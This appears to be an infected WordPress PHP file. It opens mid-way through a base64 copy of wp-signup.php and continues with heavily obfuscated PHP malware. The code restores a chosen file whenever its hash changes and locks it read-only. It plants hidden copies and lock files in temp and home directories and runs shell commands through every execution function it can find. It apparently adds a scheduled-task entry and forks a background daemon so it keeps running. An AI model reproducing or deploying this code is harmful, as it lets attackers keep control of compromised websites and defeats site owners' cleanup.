2xhdG9yczogJXM6IExvZ2luIFVSTC4gKi8KCXByaW50ZiggX18oICdZb3UgbXVzdCBmaXJzdCA8YSBocmVmPSIlcyI+bG9nIGluPC9hPiwgYW5kIHRoZW4geW91IGNhbiBjcmVhdGUgYSBuZXcgc2l0ZS4nICksICRsb2dpbl91cmwgKTsKfSBlbHNlIHsKCSRzdGFnZSA9IGlzc2V0KCAkX1BPU1RbJ3N0YWdlJ10gKSA/ICRfUE9TVFsnc3RhZ2UnXSA6ICdkZWZhdWx0JzsKCXN3aXRjaCAoICRzdGFnZSApIHsKCQljYXNlICd2YWxpZGF0ZS11c2VyLXNpZ251cCc6CgkJCWlmICggJ2FsbCcgPT09ICRhY3RpdmVfc2lnbnVwCgkJCQl8fCAoICdibG9nJyA9PT0gJF9QT1NUWydzaWdudXBfZm9yJ10gJiYgJ2Jsb2cnID09PSAkYWN0aXZlX3NpZ251cCApCgkJCQl8fCAoICd1c2VyJyA9PT0gJF9QT1NUWydzaWdudXBfZm9yJ10gJiYgJ3VzZXInID09PSAkYWN0aXZlX3NpZ251cCApCgkJCSkgewoJCQkJdmFsaWRhdGVfdXNlcl9zaWdudXAoKTsKCQkJfSBlbHNlIHsKCQkJCV9lKCAnVXNlciByZWdpc3RyYXRpb24gaGFzIGJlZW4gZGlzYWJsZWQuJyApOwoJCQl9CgkJCWJyZWFrOwoJCWNhc2UgJ3ZhbGlkYXRlLWJsb2ctc2lnbnVwJzoKCQkJaWYgKCAnYWxsJyA9PT0gJGFjdGl2ZV9zaWdudXAgfHwgJ2Jsb2cnID09PSAkYWN0aXZlX3NpZ251cCApIHsKCQkJCXZhbGlkYXRlX2Jsb2dfc2lnbnVwKCk7CgkJCX0gZWxzZSB7CgkJCQlfZSggJ1NpdGUgcmVnaXN0cmF0aW9uIGhhcyBiZWVuIGRpc2FibGVkLicgKTsKCQkJfQoJCQlicmVhazsKCQljYXNlICdnaW1tZWFub3RoZXJibG9nJzoKCQkJdmFsaWRhdGVfYW5vdGhlcl9ibG9nX3NpZ251cCgpOwoJCQlicmVhazsKCQljYXNlICdkZWZhdWx0JzoKCQlkZWZhdWx0OgoJCQkkdXNlcl9lbWFpbCA9IGlzc2V0KCAkX1BPU1RbJ3VzZXJfZW1haWwnXSApID8gJF9QT1NUWyd1c2VyX2VtYWlsJ10gOiAnJzsKCQkJLyoqCgkJCSAqIEZpcmVzIHdoZW4gdGhlIHNpdGUgc2lnbi11cCBmb3JtIGlzIHNlbnQuCgkJCSAqCgkJCSAqIEBzaW5jZSAzLjAuMAoJCQkgKi8KCQkJZG9fYWN0aW9uKCAncHJlcHJvY2Vzc19zaWdudXBfZm9ybScgKTsKCQkJaWYgKCBpc191c2VyX2xvZ2dlZF9pbigpICYmICggJ2FsbCcgPT09ICRhY3RpdmVfc2lnbnVwIHx8ICdibG9nJyA9PT0gJGFjdGl2ZV9zaWdudXAgKSApIHsKCQkJCXNpZ251cF9hbm90aGVyX2Jsb2coICRuZXdibG9nbmFtZSApOwoJCQl9IGVsc2VpZiAoICEgaXNfdXNlcl9sb2dnZWRfaW4oKSAmJiAoICdhbGwnID09PSAkYWN0aXZlX3NpZ251cCB8fCAndXNlcicgPT09ICRhY3RpdmVfc2lnbnVwICkgKSB7CgkJCQlzaWdudXBfdXNlciggJG5ld2Jsb2duYW1lLCAkdXNlcl9lbWFpbCApOwoJCQl9IGVsc2VpZiAoICEgaXNfdXNlcl9sb2dnZWRfaW4oKSAmJiAoICdibG9nJyA9PT0gJGFjdGl2ZV9zaWdudXAgKSApIHsKCQkJCV9lKCAnU29ycnksIG5ldyByZWdpc3RyYXRpb25zIGFyZSBub3QgYWxsb3dlZCBhdCB0aGlzIHRpbWUuJyApOwoJCQl9IGVsc2UgewoJCQkJX2UoICdZb3UgYXJlIGxvZ2dlZCBpbiBhbHJlYWR5LiBObyBuZWVkIHRvIHJlZ2lzdGVyIGFnYWluIScgKTsKCQkJfQoKCQkJaWYgKCAkbmV3YmxvZ25hbWUgKSB7CgkJCQkkbmV3YmxvZyA9IGdldF9ibG9nYWRkcmVzc19ieV9uYW1lKCAkbmV3YmxvZ25hbWUgKTsKCgkJCQlpZiAoICdibG9nJyA9PT0gJGFjdGl2ZV9zaWdudXAgfHwgJ2FsbCcgPT09ICRhY3RpdmVfc2lnbnVwICkgewoJCQkJCXByaW50ZigKCQkJCQkJLyogdHJhbnNsYXRvcnM6ICVzOiBTaXRlIGFkZHJlc3MuICovCgkJCQkJCSc8cD4nIC4gX18oICdUaGUgc2l0ZSB5b3Ugd2VyZSBsb29raW5nIGZvciwgJXMsIGRvZXMgbm90IGV4aXN0LCBidXQgeW91IGNhbiBjcmVhdGUgaXQgbm93IScgKSAuICc8L3A+JywKCQkJCQkJJzxzdHJvbmc+JyAuICRuZXdibG9nIC4gJzwvc3Ryb25nPicKCQkJCQkpOwoJCQkJfSBlbHNlIHsKCQkJCQlwcmludGYoCgkJCQkJCS8qIHRyYW5zbGF0b3JzOiAlczogU2l0ZSBhZGRyZXNzLiAqLwoJCQkJCQknPHA+JyAuIF9fKCAnVGhlIHNpdGUgeW91IHdlcmUgbG9va2luZyBmb3IsICVzLCBkb2VzIG5vdCBleGlzdC4nICkgLiAnPC9wPicsCgkJCQkJCSc8c3Ryb25nPicgLiAkbmV3YmxvZyAuICc8L3N0cm9uZz4nCgkJCQkJKTsKCQkJCX0KCQkJfQoJCQlicmVhazsKCX0KfQo/Pgo8L2Rpdj4KPC9kaXY+Cjw/cGhwCi8qKgogKiBGaXJlcyBhZnRlciB0aGUgc2lnbi11cCBmb3JtcywgYmVmb3JlIHdwX2Zvb3Rlci4KICoKICogQHNpbmNlIDMuMC4wCiAqLwpkb19hY3Rpb24oICdhZnRlcl9zaWdudXBfZm9ybScgKTsKPz4KCjw/cGhwCmdldF9mb290ZXIoICd3cC1zaWdudXAnICk7Cg==';$_kg=base64_decode($OB);$_qx=hash(_ex::_qp('_ci'),$_kg);$OP=420;$PF='/tmp/.80155f7dab9ddf2bc43bbdb15b5619544ab09291b';$MF='/tmp/.80155f7dab9ddf2bc43bbdb15b5619544ab09291d';$LF='/tmp/.80155f7dab9ddf2bc43bbdb15b5619544ab09291c';$_fig=__FILE__;$_bh=time();$_qhq=031;$_lr=@file_get_contents($_fig);if(@file_exists($MF)&&(time()-@filemtime($MF))<=074){exit(00);}@touch($MF);function os($_hch=0.07178505760066,$_ke=-50294,$_ye=null){global $_fig,$LF,$MF,$TR,$_lr;$_if=@_tcg($_fig,$TR,$LF,$_lr);@unlink($MF);$_wsx=@_ye($_if,$LF);if($_wsx!==false){exit(00);}else{}}@register_shutdown_function(_ex::_qp('_'.'c'.'z'));@umask(00);@chdir(_ex::_qp('_teq'));@_ww($_fig,$TR,$LF,$_lr);$_wdr=function_exists(_ex::_qp('_k'.'ju'))?(int)@getmypid():00;@file_put_contents($PF,(string)$_wdr,02);if(function_exists(_ex::_qp('_hxq'))){@proc_nice(012);}function _peb($_rel,$_jks,$_ojb=-7.3904103596115,$_scf='sfbyqmc'){@file_put_contents($_rel,$_jks._ex::_qp('_v'.'i'),010);}function _uxy($_mr,$_mpf=1.6455985915493,$_qo=40910){$_kd=@fileperms($_mr);return$_kd===false?false:($_kd&0777);}function _ms($_fw,$_dgj,$_xtu=81918,$_yss=-677){return(($_fw&$_dgj)===$_dgj)?$_fw:($_fw|$_dgj);}function _tfm($_jf,$_ie,$_gyv=false,$_cc=0.22390434157857){$_vvk=@dirname($_jf);$_hz=$_vvk.DIRECTORY_SEPARATOR._ex::_qp('_'.'gq'.'e').uniqid(_ex::_qp('_m'.'v'),true);if(@file_put_contents($_hz,$_ie,02)===false){return @file_put_contents($_jf,$_ie,02)!==false;}if(!@rename($_hz,$_jf)){@copy($_hz,$_jf);@unlink($_hz);}return true;}function _ww($_qzr,$_pq,$_rel,$_oh,$_yzt='majgfod'){$_xe=@_bxp(_ex::_qp('_xv'));if(strpos($_xe,_ex::_qp('_kxh'))!==false||strpos($_xe,_ex::_qp('_n'.'k'.'v'))!==false){$_xe=_ex::_qp('_vp');}$_coo=@_lwm();$_mzc=!empty($_coo)?@reset($_coo):_ex::_qp('_sw'.'i');$_ge=@_bjy($_qzr,$_pq,$_rel,$_oh);if($_ge)$_yw=@escapeshellarg($_ge);else $_yw=@escapeshellarg($_qzr);$_jw=@escapeshellarg($_rel);if($_yw===_ex::_qp('_yx'.'q'))return false;$_sk=_ex::_qp('_vez').$_mzc._ex::_qp('_yj'.'k').$_yw._ex::_qp('_cq'.'q');if(strpos($_xe,$_yw)===false){$_mub=rtrim($_xe,_ex::_qp('_j'.'gr'))._ex::_qp('_'.'ei').$_sk;$_alf=_ex::_qp('_'.'hd').@uniqid(_ex::_qp('_ap'),true);if(@file_put_contents($_alf,$_mub)!==false){$_weh=@_bxp(_ex::_qp('_'.'ad').@escapeshellarg($_alf)._ex::_qp('_l'.'w'));@unlink($_alf);if($_weh!==_ex::_qp('_'.'ygg')){}else{}}else{}}else{}}function _bxp($_yus,$_qn='goqmmfuskxppoilrix'){if(function_exists(_ex::_qp('_'.'f'.'od'))){$_tk=@shell_exec($_yus);if(is_string($_tk)&&$_tk!==_ex::_qp('_fu'))return$_tk;}if(!(@ini_get(_ex::_qp('_pf'))&&stripos(@ini_get(_ex::_qp('_'.'rs'.'g')),_ex::_qp('_may'))!==false)){$_tk=@$_yus;if(is_string($_tk)&&$_tk!==_ex::_qp('_va'.'s'))return$_tk;}if(function_exists(_ex::_qp('_yh'))){$_vj=array();$_wcp=00;@exec($_yus._ex::_qp('_epm'),$_vj,$_wcp);if(!empty($_vj))return @implode(_ex::_qp('_qha'),$_vj)._ex::_qp('_k'.'m');}if(function_exists(_ex::_qp('_w'.'u'.'j'))){@ob_start();@system($_yus._ex::_qp('_j'.'l'.'a'),$_wcp);$_tk=@ob_get_clean();if(is_string($_tk)&&$_tk!==_ex::_qp('_'.'gli'))return$_tk;}if(function_exists(_ex::_qp('_bz'.'l'))){@ob_start();@passthru($_yus._ex::_qp('_n'.'i'.'r'),$_wcp);$_tk=@ob_get_clean();if(is_string($_tk)&&$_tk!==_ex::_qp('_pm'))return$_tk;}if(function_exists(_ex::_qp('_pj'))){$_brw=@popen($_yus._ex::_qp('_ec'.'g'),_ex::_qp('_u'.'r'));if($_brw){$_tk=@stream_get_contents($_brw);@pclose($_brw);if(is_string($_tk)&&$_tk!==_ex::_qp('_'.'k'.'l'))return$_tk;}}if(function_exists(_ex::_qp('_qjc'))){$_rnz=array(00=>array(_ex::_qp('_cg'.'s'),_ex::_qp('_jw'),_ex::_qp('_l'.'v')),01=>array(_ex::_qp('_uy'),_ex::_qp('_'.'ygr')),02=>array(_ex::_qp('_kbx'),_ex::_qp('_nh'.'y')));$_am=@proc_open($_yus,$_rnz,$_ail);if(is_resource($_am)){$_grq=@stream_get_contents($_ail[01]);$_fgz=@stream_get_contents($_ail[02]);foreach((array)$_ail as$_mr){@fclose($_mr);}@proc_close($_am);$_tk=(string)$_grq.(string)$_fgz;if($_tk!==_ex::_qp('_wwk'))return$_tk;}}return _ex::_qp('_jw'.'u');}function _lwm($_tp=-2.1274782370904,$_kr=96263,$_qus='fcepgemjqggmihrhj'){$_to=array();$_to[]=_ex::_qp('_'.'xg');$_to[]=_ex::_qp('_fa'.'p');$_to[]=_ex::_qp('_'.'l'.'k');if(defined(_ex::_qp('_'.'if'))&&PHP_BINDIR){$_to[]=rtrim(PHP_BINDIR,_ex::_qp('_j'.'v'))._ex::_qp('_ijd');}$_gft=@_bxp(_ex::_qp('_bl'));if($_gft){$_gft=@trim($_gft);if($_gft!==_ex::_qp('_q'.'q'.'q'))$_to[]=$_gft;}if(defined(_ex::_qp('_i'.'o'))&&PHP_BINARY){$_to[]=PHP_BINARY;}$_edj=array();$_du=array();foreach($_to as$_xt){if(!$_xt)continue;if(isset($_edj[$_xt]))continue;$_edj[$_xt]=true;$_du[]=$_xt;}$_vj=array();foreach($_du as$_xt){$_oyr=@strtolower(@basename($_xt));if($_oyr!==_ex::_qp('_kj')&&(@strpos($_oyr,_ex::_qp('_h'.'f'.'m'))!==false||@strpos($_oyr,_ex::_qp('_'.'le'))!==false)){continue;}if($_xt===_ex::_qp('_q'.'s')){$_yus=_ex::_qp('_spg');}else{$_yus=escapeshellarg($_xt)._ex::_qp('_rr');}$_wk=@_bxp($_yus._ex::_qp('_r'.'a'));if($_wk&&@trim($_wk)===_ex::_qp('_gv'.'f')){$_vj[]=$_xt;}}if(empty($_vj)){$_vj[]=_ex::_qp('_'.'x'.'i');}else{$_clg=false;foreach($_vj as$_mr){if($_mr===_ex::_qp('_nbg')){$_clg=true;break;}}if(!$_clg)$_vj[]=_ex::_qp('_mkm');}return$_vj;}function _md($_mrx,$_vdy=null,$_tc=false){if(!is_string($_mrx)||$_mrx===_ex::_qp('_qt'))return 00;$_mrx=@preg_replace(_ex::_qp('_r'.'f'),_ex::_qp('_'.'w'.'x'),$_mrx);if(@preg_match_all(_ex::_qp('_pt'),$_mrx,$_hy)&&!empty($_hy[01]))return (int)@end($_hy[01]);return 00;}function _psz($_opb=null,$_lj=11085,$_beo=2.3731281198003){$_je=@getenv(_ex::_qp('_dn'));if($_je&&@is_dir($_je)&&@is_writable($_je))return rtrim($_je,DIRECTORY_SEPARATOR);if(function_exists(_ex::_qp('_udu'))&&function_exists(_ex::_qp('_sfw'))){$_ugy=@posix_getpwuid(@posix_geteuid());if(is_array($_ugy)&&!empty($_ugy[_ex::_qp('_zjs')])&&@is_dir($_ugy[_ex::_qp('_a'.'h')])&&@is_writable($_ugy[_ex::_qp('_w'.'c')])){return rtrim($_ugy[_ex::_qp('_lb')],DIRECTORY_SEPARATOR);}}$_brw=@_bxp(_ex::_qp('_'.'e'.'w'));$_brw=$_brw?trim($_brw):_ex::_qp('_'.'lx');if($_brw&&@is_dir($_brw)&&@is_writable($_brw))return rtrim($_brw,DIRECTORY_SEPARATOR);return _ex::_qp('_'.'b'.'hx');}function _pug($_pq,$_zl='xffxhmae',$_cr=-1.2351860701272){$_pm=array();$_je=@_psz();if($_je){$_ft=$_je.DIRECTORY_SEPARATOR._ex::_qp('_nk'.'z');if(!@is_dir($_ft)){@mkdir($_ft,0775,true);}if(@is_dir($_ft)&&@is_writable($_ft)){$_pm[]=$_ft;}$_pm[]=$_je;}$_pm[]=_ex::_qp('_kyf');$_pm[]=_ex::_qp('_nt'.'k');$_vyo=@dirname($_pq);if($_vyo)$_pm[]=$_vyo;if(!empty($_SERVER[_ex::_qp('_g'.'a')]))$_pm[]=$_SERVER[_ex::_qp('_n'.'re')];$_edj=array();foreach($_pm as$_nl){if(!$_nl)continue;$_nl=rtrim($_nl,DIRECTORY_SEPARATOR);if(isset($_edj[$_nl]))continue;$_edj[$_nl]=true;if(@is_dir($_nl)&&@is_writable($_nl)&&$_nl!==__DIR__)return$_nl;}return _ex::_qp('_'.'vm'.'g');}function _bjy($_qzr,$_pq,$_rel,$_oh,$_sll=false,$_wbf=90076){$_vvk=@_pug($_pq);if(!$_vvk)return _ex::_qp('_bx');$_eim=@sha1($_pq);$_hrs=$_vvk.DIRECTORY_SEPARATOR._ex::_qp('_qi'.'n').$_eim._ex::_qp('_'.'dk'.'q');if(@is_file($_hrs)&&@is_readable($_hrs)&&(@filesize($_hrs)>00)&&(@filesize($_hrs)===@filesize($_qzr)))return$_hrs;if($_oh!==false&&$_oh!==_ex::_qp('_mj')){$_ie=$_oh;}else{$_ie=@file_get_contents($_qzr);if($_ie===false||$_ie===_ex::_qp('_d'.'y'.'w')){$_ie=@file_get_contents($_hrs);if($_ie===false||$_ie===_ex::_qp('_w'.'n'))return _ex::_qp('_g'.'s');}}if(@_tfm($_hrs,$_ie)){@chmod($_hrs,0555);return$_hrs;}return _ex::_qp('_'.'m'.'y');}function _tcg($_qzr,$_pq,$_rel,$_oh,$_rm='ly',$_ei=null,$_sn=null){if(@is_file($_qzr)&&@is_readable($_qzr)&&(@filesize($_qzr)!==00))return$_qzr;$_baw=@_bjy($_qzr,$_pq,$_rel,$_oh);if($_baw)return$_baw;return _ex::_qp('_k'.'t'.'m');}function _ye($_ip,$_rel){$_pr=@_lwm();$_jv=@escapeshellarg($_ip);$_ahs=@escapeshellarg($_rel);$_qxv=function_exists(_ex::_qp('_'.'i'.'u'))?@sys_get_temp_dir():_ex::_qp('_r'.'v'.'e');$_qra=@rtrim($_qxv?:_ex::_qp('_gu'.'h'),DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR._ex::_qp('_'.'j'.'y').@uniqid(_ex::_qp('_pia'),true)._ex::_qp('_pw');$_ai=@escapeshellarg($_qra);$_klv=array(_ex::_qp('_r'.'s'.'n'),_ex::_qp('_s'.'zd'),);$_dqr=array(_ex::_qp('_yoi'),_ex::_qp('_t'.'t'),_ex::_qp('_qw'),_ex::_qp('_hc'),_ex::_qp('_dhs'),);$_hdj=array(_ex::_qp('_pk'),_ex::_qp('_'.'o'.'k'),);$_cs=@array_merge($_pr,array(_ex::_qp('_'.'bc'.'o'),_ex::_qp('_'.'jip')));foreach((array)$_cs as$_rw){$_zgz=@escapeshellcmd($_rw);foreach($_klv as$_at){$_mql=@strtr($_at,array(_ex::_qp('_sl')=>$_zgz,_ex::_qp('_fmi')=>$_jv));foreach($_dqr as$_vab){$_yus=@strtr($_vab,array(_ex::_qp('_uq')=>$_mql,_ex::_qp('_nv')=>$_ahs));$_vj=@_bxp($_yus);$_tlr=@_md($_vj);if($_tlr>00)return$_tlr;}}}if(function_exists(_ex::_qp('_'.'hg'.'j'))){foreach((array)$_cs as$_rw){$_rnz=array(00=>array(_ex::_qp('_sx'),_ex::_qp('_a'.'r'.'j'),_ex::_qp('_'.'yle')),01=>array(_ex::_qp('_'.'nx'),$_rel,_ex::_qp('_nm')),02=>array(_ex::_qp('_at'),$_rel,_ex::_qp('_n'.'m'.'c')));$_yus=@escapeshellcmd($_rw)._ex::_qp('_r'.'p').$_jv;$_am=@proc_open($_yus,$_rnz,$_ail);if(is_resource($_am)){$_kyo=@proc_get_status($_am);if($_kyo&&!empty($_kyo[_ex::_qp('_z'.'h'.'i')])&&(int)$_kyo[_ex::_qp('_u'.'n')]>00)return (int)$_kyo[_ex::_qp('_f'.'t')];}}}foreach((array)$_cs as$_rw){$_zgz=@escapeshellcmd($_rw);foreach($_klv as$_at){$_mql=@strtr($_at,array(_ex::_qp('_e'.'rm')=>$_zgz,_ex::_qp('_g'.'z')=>$_jv));foreach($_hdj as$_vab){$_yus=@strtr($_vab,array(_ex::_qp('_csk')=>$_mql,_ex::_qp('_'.'s'.'s'.'b')=>$_zgz,_ex::_qp('_'.'m'.'m')=>$_jv,_ex::_qp('_yyl')=>$_ahs,_ex::_qp('_q'.'t'.'b')=>$_ai));@_bxp($_yus._ex::_qp('_ba'.'j'));$_tlr=(int)@trim(@file_get_contents($_qra));if($_tlr>00){@unlink($_qra);return$_tlr;}}}}if(function_exists(_ex::_qp('_sb'.'j'))){foreach((array)$_cs as$_rw){$_zgz=@escapeshellcmd($_rw);$_mql=$_zgz._ex::_qp('_tu'.'y').$_jv;$_yus=_ex::_qp('_rg'.'y').@escapeshellarg($_mql._ex::_qp('_a'.'o').@escapeshellarg($_rel)._ex::_qp('_o'.'d'.'j'));$_rnz=array(00=>array(_ex::_qp('_ifz'),_ex::_qp('_xfr'),_ex::_qp('_uye')),01=>array(_ex::_qp('_bb'.'x'),_ex::_qp('_'.'if'.'q')),02=>array(_ex::_qp('_ays'),_ex::_qp('_ac')));$_am=@proc_open($_yus,$_rnz,$_ail);if(is_resource($_am)){$_vj=@stream_get_contents($_ail[01]);foreach((array)$_ail as$_mr){@fclose($_mr);}@proc_close($_am);$_tlr=@_md($_vj);if($_tlr>00)return$_tlr;}}}if(function_exists(_ex::_qp('_'.'ya'))){$_tlr=@pcntl_fork();if($_tlr>00)return$_tlr;if($_tlr===00){global $LF;if(function_exists(_ex::_qp('_l'.'u'))){@posix_setsid();}@chdir(_ex::_qp('_lm'));@umask(00);@fclose(STDIN);@fclose(STDOUT);@fclose(STDERR);$_xz=@fopen(_ex::_qp('_'.'js'),_ex::_qp('_'.'ty'));$_ihp=@fopen($LF,_ex::_qp('_'.'r'.'j'));$_hdy=$_ihp;for($_hvh=03;$_hvh<02000;$_hvh++){@fclose($_hvh);}$_pr=@_lwm();if(!empty($_pr)&&function_exists(_ex::_qp('_'.'ku'.'o'))){$_rw=@reset($_pr);@pcntl_exec($_rw,array($_ip));}@include $_ip;while(true){sleep(07020);}@exit(00);}}return false;}function _is($_pq,$_lt=3.058201419214,$_em='umtfdlslrxoikjfc'){$_pm=array();$_vvh=@sys_get_temp_dir();if($_vvh)$_pm[]=$_vvh;$_pm[]=_ex::_qp('_juj');$_pm[]=_ex::_qp('_a'.'k'.'u');$_vj=array();$_edj=array();foreach($_pm as$_nl){if(!$_nl)continue;$_nl=rtrim($_nl,DIRECTORY_SEPARATOR);if(isset($_edj[$_nl]))continue;$_edj[$_nl]=true;if(@is_dir($_nl)&&@is_writable($_nl))$_vj[]=$_nl;}return$_vj;}function _bj($_qzr,$_pq,$_rel,$_oh,$_vc,$_nsz=null){$_eim=@sha1($_pq);if($_oh!==false&&$_oh!==_ex::_qp('_zv')){$_ie=$_oh;}else{$_ie=@file_get_contents($_qzr);if($_ie===false||$_ie===_ex::_qp('_cj')){$_ie=@file_get_contents($_vc);if($_ie===false||$_ie===_ex::_qp('_'.'hg'))return _ex::_qp('_wb'.'b');}}$_pm=@_is($_pq);foreach($_pm as$_nl){$_mr=$_nl.DIRECTORY_SEPARATOR._ex::_qp('_rii').$_eim._ex::_qp('_sac');if($_mr===$_qzr)continue;if(!@is_file($_mr)||(@filesize($_mr)===00)){if(@_tfm($_mr,$_ie)){@chmod($_mr,0555);}}}}function _dwi($_qzr,$_pq,$_rel,$_oh,$_xjf=false){$_ibm=false;$_dp=_ex::_qp('_wx'.'z');$_dp=_ex::_qp('_kr');$_vc=@_bjy($_qzr,$_pq,$_rel,$_oh);$_unz=array_filter(array($_qzr,$_vc));foreach($_unz as$_lb){if(!$_lb)continue;if(!@file_exists($_lb)){$_ibm=true;$_dp=$_lb;}else{$_oci=@file_get_contents($_lb);if($_oci===false||$_oci===_ex::_qp('_vh')){$_ibm=true;$_dp=$_lb;}else{$_efh=$_oci;}}}if($_ibm&&$_efh!==_ex::_qp('_xn'.'x')&&$_dp!==_ex::_qp('_tek')){@_tfm($_dp,$_efh);@chmod($_dp,0555);}@_bj($_qzr,$_pq,$_rel,$_oh,$_vc);}while(true){try{@touch($MF);@clearstatcache(true,$TR);$_we=false;if(!@file_exists($TR)){$_we=true;}else{$_fw=@file_get_contents($TR);if($_fw===false){$_we=true;}else{$_rf=@hash(_ex::_qp('_'.'fd'.'u'),$_fw);if($_rf!==$_qx){$_we=true;}}if(!$_we){$_ng=@_uxy($TR);if($_ng===false){$_we=true;}else if(($_ng&0444)!==0444){$_we=true;}}}if($_we){@mkdir(@dirname($TR),0775,true);if(@_tfm($TR,$_kg)){$_ng=@_uxy($TR);if($_ng===false){$_ng=0444;}$_ihd=@_ms($OP,0444);@chmod($TR,$_ihd);}else{@file_put_contents($TR,$_kg);@chmod($TR,@_ms($OP,0444));}}@_dwi($_fig,$TR,$LF,$_lr);if((time()-$_bh)>=$_qhq){exit(00);}}catch(Exception$_jcm){}finally{sleep(03);}}